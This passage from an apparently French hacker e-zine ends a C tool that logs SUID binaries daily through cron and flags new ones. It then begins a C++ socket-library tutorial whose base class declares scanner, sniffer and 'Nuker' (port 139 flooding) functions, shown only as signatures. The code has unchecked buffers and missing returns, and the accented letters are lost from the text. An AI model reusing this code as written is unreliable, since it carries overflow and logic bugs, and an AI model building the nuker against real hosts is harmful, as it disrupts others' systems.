#define MAX 9999 // a big value

FILE *output;
int i, count; // main counters
char buffer[500]; // well used buf

struct stat file;  /* current file status */
struct stat status; /* logfile status */
struct passwd *pwd; /* basic stuff */




void
display_msg(){

   fprintf(stdout,"\033[1;37m[*]- Suid Surveyor v1.0   -by Neofox[IOC]\n\033[0m");

}


void
display_help(char **argument){

    fprintf(stdout,"\n\033[1;37m**** Suid Surveyor v1.0   -by Neofox[IOC] ****\033[0m\n"
                   "This tool performs a scan throught the whole file\n"
                   "system,  then looks for new suspect suid binaries\n"
                   "Usage: 1- %s cron &  when it's run by cron\n"
                   "       2- %s show    to output the results\n\n",
            argument[0],argument[0]);

    exit(1);

}





/*
* This is the easyest way to update logs,
* the oldest logfile beeing replaced by
* the newest one
*/

int
logrotate(void){

    if((stat(TODAY,&status))!=-1){
        if((rename(TODAY,YESTERDAY))!=0)
            return -1;
        else
            return 0;
   }

} /* End of Logrotate */





/*
* This function will be used to save datas
* in both the old and the new logfile, and
* also to save results in an other
*/

int
save_data(const char *logfile, const char *buffer, FILE * file_descriptor){


    if((output=(fopen(logfile,"a+")))!=NULL){

           count ++;
           /* writting into the logfile */
           fprintf(output,"%s\n",buffer);
    }

    fclose(output);
    return 0;

}





/*
* Here is the subfunction applied by nftw()
* It lists suid binaries, then save the list
* in the today logfile
*/

int
scan_suid(const char *path, const struct stat *status, int flag){

   DIR *dirp = 0;
   struct dirent *dp;
   flag = FTW_F;

   if ((dirp = opendir(path))!=NULL) {
   	while((dp=readdir(dirp))!=0){

            // this buf will store complete paths
            sprintf(buffer,"%s/%s",path,dp->d_name);
            if((stat(buffer,&file))!=-1){
                    if((file.st_mode&S_ISUID)){
                        if((save_data(TODAY,buffer,output))!=0)
                                return -1;
                    }
            }

            errno = 0;
        }

        if(errno!=0)
             return -1;

        if(closedir(dirp)==-1)
             return -1;
   }

   /* continue */
   return 0;

}







/*
* The compare() function is used to know if
* the new logfile is the same than the old one
* or not. If it's not, an unusual event may
* happend, so we'll look further for a new entry.
*/

int
compare(void){

   int diff;
   off_t yesterday_size, today_size;
   if((stat(TODAY,&status))==-1){
         return -2;
         goto end;
   } else
         today_size = status.st_size;



   if((stat(YESTERDAY,&status))==-1){
         return -2;
         goto end;
   } else
         yesterday_size = status.st_size;





   // if sizes don't match
   if(today_size != yesterday_size){

         // if the difference is positive  */
         if(today_size > yesterday_size){

                 // suid.today has grown bigger
                 diff = today_size - yesterday_size;
                 return 1;

         } else
                 // if the difference is negative,
                 // they are missing bytes!
                 return -1;


  /* Otherwise, it's normal */
  } else
         return 0;

  end:

}






/*
* It's  one of the most important function which will search
* into the new logfile for a filename which is not written in
* the old logfile. If there's one, it means that a new suid
* binary has been added since the previous check
*/

int
find_new_entry(const char *oldfile, const char *newfile, int nbr){


    struct find {

           char name[500];

    } entry[nbr];


    FILE *rapport;
    int r, line, found; // counters
    int oldfile_input, newfile_input;
    char oldfile_buffer[MAX],newfile_buffer[MAX];
    char *ptr; // used with strtok()


    // opening today logfile
    if((newfile_input=open(newfile,O_RDONLY))==-1){
             perror("fopen newfile");
             close(newfile_input);
             return -1;
             goto end;
    }

    // opening yesterday logfile
    if((oldfile_input=open(oldfile,O_RDONLY))==-1){
             perror("fopen oldfile");
             close(oldfile_input);
             return -1;
             goto end;
    }



    line = nbr;
    while((read(newfile_input, newfile_buffer, MAX))>0){

              // this is used to order datas,
              // one entry per line
              ptr = strtok(newfile_buffer,"\n");
              while(ptr!=NULL){
                       strcpy(entry[line].name,ptr);
                       line--;
                       ptr = strtok(NULL,"\n");
              }
    }


    r=0; found = 0;
    while((read(oldfile_input, oldfile_buffer, MAX))>0){
            for(line=0;line<nbr;line++){
                   if(strstr(oldfile_buffer,entry[line].name)==NULL){
                            fprintf(stdout,"     %s is new\n",entry[line].name);
                            found++;
                            // we save results in an other logfile
                            if((save_data(RAPPORT,entry[line].name,rapport))==0)
                                   r++;
                   }


            }
     }


     fprintf(stderr,"\n\033[1;37m[*]\033[0m- Writting %s... ",RAPPORT);
     if(r!=0)
        fprintf(stdout,"done!\n");
     else
        fprintf(stdout,"failed!\n");


     if(found!=0)
          return found;
     else
          return 0;



    // end label
    end :

}






int main (int argc, char *argv[]){

   int new, // if new files suid are found
       step, // step by step counter
       alert; // return value if files have changed


   char path[256]; // hapy buffer, used for many things,
                   // I don't remember exactly what ...


   /* UID check */
   if(getuid()!=0){
        pwd = getpwuid(getuid());
        display_msg();
        fprintf(stdout,"\033[1;37m[*]- \033[0mUser '%s', you must run this as root!\n", pwd->pw_name);
        exit(1);
   }



   /* Arguments check */
   if(argc!=2)
        display_help(argv);



   if((strcmp(argv[1],"cron"))==0){

          // if it's run directly by cron,
          // we close standart and errors outputs
          close(1);
          close(2);

   } else {

      if((strcmp(argv[1],"show"))==0)
            display_msg();

      else
            display_help(argv);
   }


   step=1; // reset step counter
   fprintf(stderr,"\033[1;37m[%d]\033[0m- Updating logs... ",step++);
   if((logrotate())!=0)
        fprintf(stdout,"failed!\n");
   else
        fprintf(stdout,"done!\n");



  /*
   * Here, we need to chdir to "/" before launching the scan,
   * otherwise nftw() would only browse the current directory
   */
   fprintf(stderr,"\033[1;37m[%d]\033[0m- Jumping to / ... ",step++);
   if(chdir("/")!=-1)
        fprintf(stdout,"done!\n");
   else {
        fprintf(stdout,"failed!\n");
        fprintf(stdout,"\033[1;37m[*]-\033[0m Fatal error, aborting!\n");
        exit(1);
    }




  /*
   * Here we go, let's have a look in our dirs !
   */
   fprintf(stderr,"\033[1;37m[%d]\033[0m- Browsing directories... ",step++);
   if((nftw((getcwd(path, 256)),scan_suid,10,1))==-1){
           fprintf(stdout,"failed!\n");
           fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n");
           exit(1);

   } else {

           fprintf(stdout,"done!\n");
           fprintf(stderr,"\033[1;37m[%d]\033[0m- Setting logfile permission... ",step++);
                     if((chmod(TODAY,0600))==-1)
                            fprintf(stdout,"failed!\n");
                     else
                            fprintf(stdout,"done!\n");
   }


   fprintf(stderr,"\033[1;37m[%d]\033[0m- Counting suid files: %d\n",step++,count);
   fprintf(stderr,"\033[1;37m[%d]\033[0m- Checking for new suid... ",step++);
   if((alert=(compare()))==0){
         /* Everything is OK */
         fprintf(stderr,"done!\n");
         fprintf(stdout,"\033[1;37m[*]\033[0m- SUID binaries allright !\n");
         exit(1);

   } else {

          /* an error occurs with compare() */
          if(alert==-2){
               fprintf(stdout,"failed!\n");
               fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n");
               exit(1);
          }

          /* the size has become smaller */
          if(alert==-1){
               fprintf(stdout,"done!\n");
               fprintf(stdout,"\033[1;37m[*]\033[0m- SUID binaries removed since last check!\n");
          }

          /* the size has grown bigger */
          if(alert>0){
               fprintf(stdout,"done!\n");
               fprintf(stdout,"\n\a     \033[1;31m**** WARNING ****\033[0m\n");
               if((new=(find_new_entry(YESTERDAY,TODAY,count)))==-1){
                          fprintf(stdout,"erreur find");
                          exit(1);
               }

               fprintf(stdout,"\033[1;37m[*]-\033[0m %d SUID binaries added since last check!\n", new);
           }


   }

   return 0;

}




--------------8<------------  Makefile  -------------------------------------------------------


CC = cc
LD = cc

CFLAGS = -g -O
LDFLAGS =

.SUFFIXES: .o .c

.c.o:
	$(CC) -c $(CFLAGS) $<

all: ss

ss: ss.o
	$(LD) ss.o -o ss $(LDFLAGS)

install:
	@echo "#!/bin/sh" > /etc/cron.daily/suid
	@echo "/root/Suid-Surveyor.1.0/ss cron &" >> /etc/cron.daily/suid
	@chmod +x /etc/cron.daily/suid
	@echo "install: ok!"

clean:
	@rm -f *.o



--------------8<--------------------------------------------------------------------------------








[ Conclusion ]

N'hsitez pas  m'crire pour me signaler un bug, me faire part d'une
amlioration, ou pour tout autre commentaire. Vous pouver trouver cet
outil en ligne ici : http://www.rootshell.be/~ioc/progs/secuirty/.
Je voudrais remercier MeiK pour le Makefile ainsi que, Marcel, Jamu
et Blashow pour m'avoir aid  tester ce prog. Je profite de cette
conlcusion pour vous conseiller un article intressant:

        http://www.c2i2.com/~dentonj/system-hardening
























---------------------------------------------------------------------------------------
IX.         C.A.P.R.U, librairie de classe de gestion Client/Socket*           Marcel
---------------------------------------------------------------------------------------


          * : article galement disponnible en version html  cette adresse :
              http://www.rootshell.be/~ioc/mag/issue5/capru.html




                              /*************/

      (vous pouvez si vous voulez inclure mes sites, http://www.emulators.fr.fm
      et http://www.hackside.fr.fm)

                              /*************/




[ Introduction ]


Dsireux d'apporter ma faible contribution  IOC, je tenterai de vous expliquer dans
ce bref cours la mthode que j'utilise pour crer des applications Client/Serveur en C++.

J'ai cr une librairie de classes, pas encore totalement termine, qui permet  tout
programmeur qui les utilise de crer des applications en utilisant les sockets d'une
manire simple, dans des programmes graphiques ou non (avec QT, GTK, ...). Qui dit
simple pour l'utilisateur, dit compliqu pour le dveloppeur ;-)

Cette librairie se nomme "C.A.P.R.U" pour "Classes d'Applications et de Protocoles
Rseaux sous Unix". Elle n'est donc qu'en version de dveloppement et non accessible
sur le Net, toutefois si un lecteur est dsireux de les voir, en tant qu'extension de
ce cours, je serai ravi de lui faire parvenir,  condition de ne pas les redistribuer,
pas tant que ce ne sera une version finie (ie stable).

Il va de soi que ces classes sont sous licence GNU/GPL.
Pour me joindre, mailez-moi par *** emulators@fr.fm *** Ou bien laissez un message sur
l'un de mes sites. Je vais donc essayer de vous montrer la partie la moins simple qui
consiste  la mise en oeuvre des classes et  leur programmation, dans un contexte de
rutilisation maximale du code, et de robustesse.

J'ai voulu utiliser le C++ pour la mise en oeuvre de la programmation objet, ce qui
permet une modularit et une meilleure gestion des erreurs. De mme ma politique a
t de rendre ces classes les plus polyvalentes possibles, afin de pouvoir tre
utilises par un maximum de personnes.

Dans ce cours je vais expliquer pas  pas la mthode que j'ai utilis pour crer
cette librairie, afin que vous puissiez vous en inspirer pour crer votre propre
librairie ! N'hsitez surtout pas  me mailer pour me demander des dtails
supplmentaires. A noter qu'entre le moment o vous lirez ce tutorial et celui o
la librairie sortira officiellement, elle pourra avoir beaucoup chang.

Ce cours est une exclusivit pour IOC, il sera par la suite disponible sur mes sites.
Si vous avez la possibilit, lisez ce texte avec la coloration syntaxique du C++







    Sommaire :
    __________


           1. L'architecture :

           Dans un premier temps je vais vous parler de tous les alentours de
           la programmation socket c'est--dire l'architecture des classes et
           la gestion des erreurs.



	   2. Client/Serveur Universels :

           Ensuite nous verrons la mise en oeuvre des sockets pour crer un
           serveur ou un client universels.



	   3. Programmes et Protocoles :

           Puis nous verrons de quelle manire utiliser ces classes pour en
           crer d'autres  afin de grer  diffrents protocoles  comme POP3,
           SMTP, ... ou bien crer des applications telles que des sniffers,
           des nukers des scanners de ports, ect ...














    I. L'Architecture :
    ___________________


J'ai cr une classe de base, CBazSocket, qui est compose de quelques fonctions membres qui
lui sont propres (classes d'affichage sur stdout), mais aussi de toutes les fonctions virtuelles,
qui sont aussi redfinies dans chaque classe fille.



Voici le fichier header de la classe de base :


/*-----------8<-------------8<--------------8<---------------8<-----------------8<-------------*/

namespace client_serveur
{

class erreur
{
};

class CBazSocket
{
public :
/*Fonctions annexes*/
void			AfficherHeure();
void			AfficherASCII(char *msg, long int taille);
void			AfficherHexa(char *msg, long int taille); /*Entrez une chaine et sa taille en paramtre, et je
                                                       l'affiche  la manire d'un diteur hexa (hexa + ascii)*/
void			EnregDansFichier(char *msg, long int taille, char *chemin, bool ajout = true);

/*Ces 4 classes vont souvent tr eutilises pour l'affichage ou l'enregistrement dans un fichier texte*/

/*Fonctions virtuelles pour CServeur et CClient*/
virtual void		Creer();
virtual void		Options(int niveau, int option, char *valeur);
virtual void		Options(int niveau, int option, int valeur);
virtual void		Connecter();
virtual void		Envoyer(char *msg, long int taille);
virtual void		Recevoir(long int taillemin, long int taillemax);
virtual void		Deconnecter();
char			*buffsrv;
long int		taillebuffsrv;
char			*buffcli;
long int		taillebuffcli;

/*Fonctions virtuelles pour CInformations*/
virtual void		Serveur(char *nomserveur);
virtual void		Protocole(char *nomproto);
virtual void		Service(char *nomservice, char *nomproto);
virtual void		Reseau(char *nomserveur, unsigned short int type);
	/*Structure pour stocker un hote, un protocole, un service, ou un nom de rseau*/
struct hostent		*he; /*Modifi par CInformations::Serveur(), par CInformations::CInformations(), CClient::CClient(), et par CClient::Creer()*/
struct protoent	*prtcl; /*Modifi par CInformations::Protocole(), et par CInformations::CInformations()*/
struct servent		*srvc; /*Modifi par CInformations::Service(), et par CInformations::CInformations()*/
struct netent		*ntnt; /*Modifi par CInformations::Reseau(), et par CInformations::CInformations()*/

/*Fonctions virtuelles pour CApplications*/
virtual void		ScannerMonoIP(char *nomserveur);
virtual void		ScannerMultiIP(char *nomserveurdep, char *nomserveurfin, unsigned short int port = 1025);
virtual void		Sniffer(unsigned short int adrssge);
virtual void		Nuker(char *nomserveur, char *msg, unsigned short int port = 139, unsigned long int nbrfois = 100);
char			*buffappl;
long int		taillebuffappl;

/*Fonctions virtuelles pour CPOP3*/
virtual void		ClientPOP3_Connecter(char *nomserveur);
virtual void		ClientPOP3_UserPass(char *user, char *pass);
virtual void		ClientPOP3_Stats();
virtual void		ClientPOP3_Lister(unsigned long int numero = 0);
virtual void		ClientPOP3_VoirEnTete(unsigned short int numero = 1, unsigned long int nbrlignes = 0);
virtual void		ClientPOP3_AfficherMail(unsigned short int numero = 1, long int taillemin = 10, long int taillemax = 10);
virtual void		ClientPOP3_EffacerMail(unsigned short int numero = 0);
virtual void		ClientPOP3_RestaurerTous();
virtual void		ClientPOP3_Quitter();
virtual void		ServeurPOP3();
char			*buffpop3;
long int		taillebuffpop3;

/*Entiers stockant en fait des sockets*/
long int		srv; /*socket serveur local, modifi par CServeur::Creer();*/
long int		srv_cli_cnt; /*socket utilis lorsqu'un client distant se connecte au serveur local, modifi par CServeur::Connecter()*/
long int		cli; /*socket client local, modifi par CClient::Creer()*/

/*Errorlevel*/
unsigned short int	possible[10];

/*Paramtres du socket (entiers stockant les port, port d'envoi, domaine, type, et protocole des sockets, chane pour stocker un nom de serveur, ...)*/
unsigned short int	adrssge; /*Doit contenir 4 pour IP4 et 6 pour IP6*/
char			*nomserveur; /*Modifi par CClient::CClient()*/
unsigned short int	port, domaine, type, protocole; /*Modifis par CServeur::CServeur() et CClient::CClient()*/
unsigned short int	portdenvoi; /*Modifi par CClient::CClient();*/
bool			verbose; /*Si verbose vaut 'true', beaucoup de messages sont affichs, sinon aucun*/
short int		affichage; /*Dtermine le mode d'affichage des rsultats des fonctions membres*/
bool			ajout;
char			*chemin;

/********************************/
/* Jusqu' la fin de la classe, */
/*                              */
/*Donnes de stockage temporaire*/
/*  utilises par les classes   */
/*  CServeur et CClient         */
/********************************/

/*Structures stockant l'identit des sockets*/
struct sockaddr_in	sonin, monin; /*Pour la famille PF_INET*/
struct sockaddr_in6	sonin6, monin6; /*Pour la famille PF_INET6*/
struct sockaddr_ax25	*sonax25, *monax25; /*Pour la famille PF_AX25*/
struct sockaddr_ipx	*sonipx, *monipx; /*Pour la famille PF_IPX*/
struct sockaddr_un	*sonun, *monun; /*Pour la famille PF_UNIX,PF_LOCAL*/

/*Donnes membres statiques*/
static socklen_t	sockaddr_in_len; /*vaut sizeof(struct sockaddr_in)*/
static socklen_t	sockaddr_in6_len; /*vaut sizeof(struct sockaddr_in6)*/
static socklen_t	sockaddr_ax25_len; /*vaut sizeof(struct sockaddr_ax25)*/
static socklen_t	sockaddr_ipx_len; /*vaut sizeof(struct sockaddr_ipx)*/
static socklen_t	sockaddr_un_len; /*vaut sizeof(struct sockaddr_un)*/
};

} /*Fin du namespace client_serveur*/


/*-----------8<-------------8<--------------8<---------------8<-----------------8<-------------*/




Voici les 4 fonctions membres d'affichage :


void CBazSocket::AfficherHeure()
{
time_t		sectmp;
struct tm	*stmtmp = new tm;
time(&sectmp);
stmtmp = localtime(&sectmp);
printf("%2d h. %2d m. %2d s.", stmtmp->tm_hour, stmtmp->tm_min, stmtmp->tm_sec);
}




/*---------------------------------------------------------------------------*/



void CBazSocket::AfficherASCII(char *msg, long int taille)
{
long int i;

printf("%d octets  ", (int)taille);
AfficherHeure();
printf("\n");
for (i=0; i < taille; i++)
printf("%c", msg[i]);

printf("\n");
}



/*---------------------------------------------------------------------------*/

void CBazSocket::AfficherHexa(char *msg, long int taille)
{
long int i, j;
unsigned short int a;
char *b = new char[5];

printf("%d octets  ", (int)taille);
AfficherHeure();
printf("\n");

for (i=0; i < taille; i++)
{
a = msg[i];
sprintf (b, "%04X ", a); /*Affiche 16 caractres en hexa*/
printf ("%c%c ", b[2], b[3]);



if (! ((i+1)%16)) /*Affiche 16 caractres en ASCII*/
  {
  cout << "\t";
  for (j=i-15; j <= i; j++)
   {
   a = msg[j];
   if (a < 0x18 || a == 0x19 || ((a > 0x1A) && (a < 0x20)) || ((a >= 0x7F) && (a < 0xA0)))
    a = 0x2E;
   printf("%c ", a);
   }
  printf("\n");
  }

}

if (taille%16)
{
for (i=0; i < 16-(taille%16); i++)
  printf("   ");
cout << "\t";
for (j=(taille-(taille%16)); j < taille; j++)
  {
  a = msg[j];
  if (a < 0x18 || a == 0x19 || ((a > 0x1A) && (a < 0x20)) || ((a >= 0x7F) && (a < 0xA0)))
   a = 0x2E;
  printf("%c ", a);
  }
}

printf("\n");
}



/*---------------------------------------------------------------------------*/



void CBazSocket::EnregDansFichier(char *msg, long int taille, char *chemin, bool ajout)
{
FILE *fp;

if (ajout)
fp = fopen(chemin, "a");
else
fp = fopen(chemin, "w");

if (fp == NULL)
{
if (verbose)
  perror("\tImpossible de crer ou d'ouvrir le fichier ");
}
else
{
if (fwrite(msg, sizeof(char), taille, fp) != (unsigned long int)taille)
  {
  if (verbose)
   perror("\tImpossible d'crire dans le fichier (exemple, disque plein) ");
  }

if (fclose(fp) == EOF)
  {
  if (verbose)
   perror ("\tImpossible de fermer le fichier ");
  }
}

}





Vous remarquerez aussi que j'ai cr un namespace, afin d'tre sr de ne pas entrer
en conflit avec d'autres fonctions d'autres librairies. Chaque classe  un nom de la
forme Cxxx. la classe de base se nomme CBazSocket, et la classe fille Serveur se nomme
CServeur par exemple.




Vous pouvez donc aperevoir 8 classes filles,  savoir :

CServeur	/*Serveur universel*/
CClient		/*Client universel*/

CApplications	/*Diverses applications telles que sniffer, nuker, ...*/
CInformations	/*Informations sur un serveur, sur un protocole, ...*/

CPOP3		/*Protocole POP3*/
CFTP		/*Protocole FTP*/
CHTTP		/*Protocole HTTP*/
CSMTP		/*Protocole SMTP*/




J'ai jug utile d'utiliser le polymorphisme, notamment pour l'utilisation
de listes  chanes d'objets !  De mme  il est  savoir  que les classes
d'applications et de protocoles sont une surcouche des classes CServeur et
CClient, en les rutilisant.



[ L'Errorlevel ]

Il faut laisser le pouvoir au dveloppeur utilisateur des classes de rcuprer
et intercpter les erreurs afin que le  puisse les afficher  sa manire ( par
exemple dans une bote de dialogue visuelle ). Pour cela il m'a sembl ncssaire
de crer des Errorlevel. J'ai donc dfini un tableau d'entiers courts, nomm
'possible', dont chaque lment correspond  une opration lmentaire d'une
fonction membre d'une classe. Par exemple si la fonction Creer()  ( fontion 1,
donc indice 0 du tableau) de la classe CServeur a 5 oprations lmentaires,
il faut que possible[0] = 5. Ceci n'est pas d'une originalit frappante, vous
devez donc connatre le principe.


Maintenant que l'architecture a t mise en place, passons aux choses intressantes :)







    II.  Client/Serveur Universels :
    ________________________________


Les 2 classes filles sans conteste les plus importantes sont bien sr
CServeur et CClient. Ces classes comportent chacunes les mme fonctions
membres (d'o l'utilit du polymorphisme),  savoir :



virtual void Creer();
virtual void Options(int niveau, int option, char *valeur);
virtual void Options(int niveau, int option, int valeur);
virtual void Connecter();
virtual void Envoyer(char *msg, long int taille);
virtual void Recevoir(long int taillemin, long int taillemax);
virtual void Deconnecter();



Ces fonctions sont  la base de tout, et contiennent chacune les vrifications
ncssaires pour se permettre de les appeler dans n'importe quel ordre, jusqu'
ce que le bon ordre soit cr afin de cr le client ou le serveur voulu.

Bien sr c'est inutile de les appeler dans le dsordre, mais je dois pouvoir
tout prvoir. L encore rien de spcatculaire dans ces vrifications d'erreurs !
A savoir que le constructeur reoit divers paramtre ncessaires  toutes les
mthodes de la classe.

Etudions sans plus attendre la fonction Creer(), qui se contente de crer le socket :



  1-  Dans le cas du client :



void CClient::Creer()
{
char *a = new char[256];

possible[0] = 0;

if ((cli = socket(domaine, type, protocole)) == -1) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose)
  perror("\tClient : Erreur de socket ");
}
else
{
possible[0]++;
if (verbose) {
  AfficherHeure();
  cout << " : Client : Socket valide\n";
  }

	if((he = gethostbyname(nomserveur)) == NULL) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose)
	  perror("\tClient : Erreur d'obtention des infos sur le serveur ");
	 }
	else
	 {
	 possible[0]++;
	 if (verbose) {
	  AfficherHeure();
	  if (domaine == PF_INET)
	   {
	   if (inet_ntop(PF_INET, (in_addr *)he->h_addr_list[0], a, 256) == NULL)
	    fprintf(stderr, " : Client : Impossible de dterminer l'IP du serveur (distant) ?!?!\n");
	   else
	    cout << " : Client : Infos sur " << nomserveur << " (" << a << ") trouves\n";
	   }
	  /*else
	   {
	   if (inet_ntop(PF_INET6, (in6_addr *)he->h_addr_list[0], a, 256) == NULL)
	    cout << " : Client : Impossible de dterminer l'IP du serveur (distant) ?!?!\n";
	   else
	    cout << " : Client : Infos sur " << nomserveur << " (" << a << ") trouves\n";
	   }*/
	  }

	 if (domaine == PF_INET)
	  {
	  memset(&sonin, 0, sockaddr_in_len);
	  sonin.sin_family = domaine;
	  sonin.sin_port = htons(port);
	  sonin.sin_addr.s_addr = ((in_addr *)he->h_addr_list[0])->s_addr; /*ou bien (*(in_addr_t *)he->h_addr_list[0]) ...*/
	  }
	 /*else
	  {
	  memset(&sonin6, 0, sockaddr_in6_len);
	  sonin6.sin_family = domaine;
	  sonin6.sin_port = htons(port);
	  sonin6.sin_addr.s_addr = ((in6_addr *)he->h_addr_list[0])->s_addr;
	  }*/

if (sonin.sin_addr.s_addr == INADDR_NONE /*|| sonin6.sin_addr.s_addr == INADDR_NONE*/) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client : Impossible de trouver le serveur %s\n", nomserveur);
  }
}
else
{
possible[0]++;
if (verbose) {
  AfficherHeure();
  cout << " : Client : Hte " << nomserveur << " trouv\n";
  }

} /*---- Fin Opration lmentaire 3 ----*/

	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

delete[] a;
}


Vous remarquerez que j'ai bien indiqu les oprations lmentaires, ici possible[0] doit valoir 3
pour tre certain que tout a bien fonctionn.






  2- Dans le cas du serveur :



void CServeur::Creer()
{
possible[0] = 0;

if (port < 1) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Serveur : Impossible de se travailler car le numro de port local(%d) est invalide\n\tChoisissez entre 1 et 65535\n", port);
  }
}
else
{
possible[0]++;

	if ((srv = socket(domaine, type, protocole)) == -1) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose)
	  perror("\tServeur : Erreur de socket ");
	 }
	else
	 {
	 possible[0]++;
	 if (verbose) {
	  AfficherHeure();
	  cout << " : Serveur : Socket valide\n";
	  }
	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

}



Si vous tes familier des sockets, vous pourrez constater que la plupart du code
est ddi  la gestion des erreurs. J'ai beaucoup insist sur ce dernier point
afin de crer des classes robustes.



Voil maintenant le code de CClient::Connecter()   :



void CClient::Connecter()
{
long int i = 0;
char *a = new char[256];

possible[1] = 0;

if (possible[0] == 3)
{
if (domaine == PF_INET) /*Ne fait pas partie d'une opration lmentaire*/
  {
  memset(&monin, 0, sockaddr_in_len);
  monin.sin_family = domaine;
  monin.sin_port = htons(portdenvoi);
  monin.sin_addr.s_addr = htonl(INADDR_ANY);
  i = bind(cli, (struct sockaddr *)&monin, sockaddr_in_len);
  }
/*else
  {
  memset(&monin6, 0, sockaddr_in6_len);
  monin6.sin_family = domaine;
  monin6.sin_port = htons(portdenvoi);
  monin6.sin_addr.s_addr = htonl(INADDR_ANY);
  i = bind(cli, (struct sockaddr *)&monin6, sockaddr_in6_len);
  }*/

if (i == -1)
  {
  if (verbose)
   perror("\tClient : Impossible d'associer la socket  une addresse ");
  close(cli);
  }
else
  {
  if (verbose) {
   AfficherHeure();
   cout << " : Client : Socket associ  une adresse\n";
   }
  }
} /*Ne fait pas partie d'une opration lmentaire*/




if (possible[0] != 3 || type != SOCK_STREAM) /*---- Dbut Opration lmentaire 1 ----*/
{
if (verbose) {
  AfficherHeure();
  fprintf(stderr, " : Client : Impossible de se connecter, raisons possibles :\n\t* Le socket n'a pas t cr\n\t* Il s'agit d'un socket qui ne ncessite pas de connexion (SOCK_DGRAM, ...)\n");
  }
}
else
{
possible[1]++;

	if (port < 1 || port > 65535) /*---- Dbut Opration lmentaire 2 ----*/
	 {
	 if (verbose) {
	  AfficherHeure();
	  fprintf(stderr, " : Client : Impossible de travailler car le numro de port distant (%d) est invalide\n\tChoisissez entre 1 et 65535\n", port);
	  }
	 }
	else
	 {
	 possible[1]++;
	 if (domaine == PF_INET)
	  i = connect(cli, (struct sockaddr *)&sonin, sockaddr_in_len);
	 /*else
	  i = connect(cli, (struct sockaddr *)&sonin6, sockaddr_in6_len);*/

if (i == -1) /*---- Dbut Opration lmentaire 3 ----*/
{
if (verbose)
  perror("\tClient : Impossible de se connecter au socket ");
close(cli);
}
else
{
possible[1]++;
if (verbose) {
  AfficherHeure();
  cout << " : Client : Connect au serveur distant " << nomserveur << endl;
  }

memset(&monin, 0, sockaddr_in_len);
memset(&monin6, 0, sockaddr_in6_len);

if (domaine == PF_INET)
  i = getsockname(cli, (struct sockaddr *)&monin, &sockaddr_in_len);
/*else
  i = getsockname(srv_cli_cnt, (struct sockaddr *)&monin6, &sockaddr_in6_len);*/

	if (i == -1) /*---- Dbut Opration lmentaire 4 ----*/
	 {
	 if (verbose)
	  perror("\tClient : Impossible d'obtenir des infos sur le client ");
	 }
	else
	 {
	 possible[1]++;
	 if (verbose) {
	  if (domaine == PF_INET)
	   {
	   cout << "\t\tFamille du socket local : " << monin.sin_family << endl;
	   cout << "\t\tPort du client (local) ouvert : " << ntohs(monin.sin_port) << endl;
	   if (inet_ntop(PF_INET, &monin.sin_addr, a, 256) == NULL)
	    cout << "\t\tImpossible de dterminer l'IP du client (local) ?!?!\n";
	   else
	    cout << "\t\tIP du client (local) : " << a << endl;
	   }
	  /*else
	   {
	   cout << "\t\tFamille du socket local : " << monin6.sin_family << endl;
	   cout << "\t\tPort du client (local) ouvert : " << ntohs(monin6.sin_port) << endl;
	   if (inet_ntop(PF_INET6, &monin6.sin_addr, a, 256) == NULL)
	    cout << "\t\tImpossible de dterminer l'IP du client (local) ?!?!\n";
	   else
	    cout << "\t\tIP du client (local) : " << a << endl;
	   }*/
	  }

	 memset(&sonin, 0, sockaddr_in_len);
	 memset(&sonin6, 0, sockaddr_in6_len);

	 if (domaine == PF_INET)
	  i = getpeername(cli, (struct sockaddr *)&sonin, &sockaddr_in_len);
	 /*else
	  i = getpeername(srv_cli_cnt, (struct sockaddr *)&sonin6, &sockaddr_in6_len);*/

if (i == -1) /*---- Dbut Opration lmentaire 5 ----*/
{
if (verbose)
  perror("\tClient : Impossible d'obtenir des infos sur le serveur ");
}
else
{
possible[1]++;
if (verbose) {
  if (domaine == PF_INET)
   {
   cout << "\t\tFamille du socket distant : " << sonin.sin_family << endl;
   cout << "\t\tPort du serveur (distant) ouvert : " << ntohs(sonin.sin_port) << endl;
   if (inet_ntop(PF_INET, &sonin.sin_addr, a, 256) == NULL)
    cout << "\t\tImpossible de dterminer l'IP du serveur (distant) ?!?!\n";
   else
    cout << "\t\tIP du serveur (distant) : " << a << endl;
   }
  /*else
   {
   cout << "\t\tFamille du socket distant : " << sonin6.sin_family << endl;
   cout << "\t\tPort du serveur (distant) ouvert : " << ntohs(sonin6.sin_port) << endl;
   if (inet_ntop(PF_INET6, &sonin6.sin_addr, a, 256) == NULL)
    cout << "\t\tImpossible de dterminer l'IP du serveur (distant) ?!?!\n";
   else
    cout << "\t\tIP du serveur (distant) : " << a << endl;
   }*/
  }
} /*---- Fin Opration lmentaire 5 ----*/

	 } /*---- Fin Opration lmentaire 4 ----*/

} /*---- Fin Opration lmentaire 3 ----*/

	 } /*---- Fin Opration lmentaire 2 ----*/

} /*---- Fin Opration lmentaire 1 ----*/

delete[] a;

}




Vous pouvez lire le manuel ("man commande") des fonctions getpeername et
getsockname. Analysez bien les 5 oprations lmentaires. Vous remarquerez
que je connecte le socket au serveur distant qui se nomme 'nomserveur', initialis
lors de l'appel au constructeur, aprs avoir bind le socket  un port local (opration
souvent inutile dans le cas d'un client.

Les fonctions surcharges Options() peuvent ne pas tre utilises, je ne
expliquerai pas ici !



Voici le code de CServeur::Connecter()



void CServeur::Connecter()
{
long int i = 0;
char *a = new char[256];

possible[1] = 0;


if (possible[0] == 2) /*Ne fait pas partie d'une opration lmentaire*/
{
if (domaine == PF_INET)
  {
  memset(&monin, 0, sockaddr_in_len);
  monin.sin_family = domaine;
  monin.sin_port = htons(port);
  monin.sin_addr.s_addr = htonl(INADDR_ANY);
  i = bind(srv, (struct sockaddr *)&monin, sockaddr_in_len);
  }
/*else
  {
  memset(&monin6, 0, sockaddr_in6_len);
  monin6.sin_family = domaine;
  monin6.sin_port = htons(port);
  monin6.sin_addr.s_addr = htonl(INADDR_ANY);
